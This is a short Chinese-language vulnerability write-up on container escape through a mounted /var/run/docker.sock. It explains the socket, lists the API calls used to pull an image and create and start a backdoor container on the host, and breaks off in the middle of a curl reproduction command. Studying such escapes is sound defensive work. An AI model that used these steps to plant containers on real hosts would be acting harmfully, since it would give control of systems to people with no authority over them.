docker.sock 危险挂载逃逸

docker.sock 危险挂载逃逸

一、漏洞简介

通过本地docker.sock向宿主机部署后门容器，以控制宿主机。

二、前置知识

docker.sock

/var/run/docker.sock是Doceker Daemon默认监听的Unix域套接字，用于与容器中的进程通信。该监听操作的配置可以在/etc/default/docker中找到：

-H unix:///var/run/docker.sock

向该套接字发送的HTTP请求会转发给Docker Daemon，等同于在本地控制Docker Daemon。因此，挂载了docker.sock套接字的容器权限很高。

三、漏洞利用路径

1. 检查docker.sock：检查路径是否存在；发送GET请求info页面
2. 拉取镜像：向docker.sock发送POST请求“create?fromImage”
3. 创建容器：向docker.sock发送POST请求“containers/create”，容器通过JSON配置
4. 启动容器：向docker.sock发送POST请求“containers/“+containerID+”/start”

四、漏洞复现

漏洞复现过程：

# 在挂载了/var/run/docker.sock的容器中
# 拉取镜像
curl -i -s -k  -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:P